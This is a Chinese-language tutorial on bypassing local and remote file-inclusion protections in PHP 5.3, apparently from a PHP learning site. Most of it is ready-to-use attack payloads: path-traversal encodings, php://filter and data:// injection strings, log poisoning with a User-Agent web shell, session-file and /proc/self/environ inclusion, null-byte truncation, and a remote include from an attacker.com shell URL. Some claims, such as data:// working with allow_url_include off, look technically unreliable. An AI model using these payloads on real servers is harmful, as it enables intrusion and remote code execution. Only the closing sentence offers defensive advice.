PHP 5.3因解析宽松、伪协议支持全且默认配置不安全,易被绕过:支持%00截断(

PHP 5.3 是一个已停止支持且存在多个解析特性的旧版本,其文件包含漏洞(LFI/RFI)绕过方式与后续版本有明显差异,尤其在伪协议支持、编码处理、路径解析和过滤逻辑上更易被利用。以下为针对 PHP 5.3 环境下常见且有效的绕过方式,聚焦实际可复现的路径与技术要点。
路径遍历 + 编码组合绕过前缀限制
当代码形如 include '/var/www/html/' . $_GET['file']; 时,攻击者需突破固定前缀。PHP 5.3 对多级目录跳转和非常规编码容忍度高:
- 使用
..%c0%af(UTF-8 overlong encoding)替代../,绕过简单字符串匹配(如str_replace('..', '', $input)) - 拼接超长相对路径,例如
./a/./b/./c/../../../etc/passwd,干扰深度计数类过滤 - 混合斜杠与反斜杠:
..\..\windows\win.ini(Windows 环境下有效)
后缀强制截断与伪协议注入
若代码强制添加后缀,如 include $_GET['file'] . '.php';,PHP 5.3 支持多种截断与协议嵌套手段:
-
php://filter可绕过后缀:传入?file=php://filter/convert.base64-decode/resource=Li4vZXRjL3Bhc3N3ZA==,Base64 解码后为../../etc/passwd,不依赖文件扩展名 - 利用
data://协议直接执行代码:?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+(PHP 5.3 默认开启allow_url_include=Off时仍可能生效,取决于 php.ini 配置) - URL 中用
?或#截断后缀:?file=shell.php?&abc→ 实际加载shell.php?&abc.php,但问号后内容被当作查询参数忽略,等效于shell.php
日志/临时文件 + session 文件包含
PHP 5.3 的 session 存储默认使用文件(session.save_handler = files),且 session 文件名可控(PHPSESSID),配合日志写入可实现稳定 LFI:
立即学习“PHP免费学习笔记(深入)”;
- 向 Apache access.log 注入 PHP 代码(如 User-Agent:
<?php system($_GET['cmd']);?>),再通过?file=/var/log/apache2/access.log包含执行 - 伪造 session 文件路径:
?file=/tmp/sess_<your_session_id></your_session_id>,提前在 Cookie 中设置对应 ID 并注入 payload - 利用
/proc/self/environ(Linux)读取环境变量,若 User-Agent 可控,即可注入并包含
白名单映射失效与配置缺陷利用
很多防御方案在 PHP 5.3 下因版本特性而形同虚设:
- 仅校验后缀但未标准化路径:
index.php?file=shell.jpg%00在 PHP 5.3 中仍可能触发 null-byte 截断(虽 5.3.4+ 默认禁用,但旧编译或补丁缺失环境仍存在) - 白名单硬编码为
['home', 'about', 'contact'],但未做完整路径匹配,可传入home.php?/etc/passwd利用 query 参数混淆逻辑 - 未关闭
allow_url_fopen和allow_url_include,导致 RFI 直接可用:?file=http://attacker.com/shell.txt
PHP 5.3 的核心问题是解析宽松、错误处理松散、伪协议支持全但配置默认不安全。绕过本质不是“找新技巧”,而是利用它对输入标准化缺失、协议解析优先级混乱、以及与 Web 服务器(如 Apache)协同解析的不一致性。真实环境中,应优先升级至受支持版本,并采用白名单路径映射 + 输入标准化 + open_basedir 限制的纵深防御组合。



















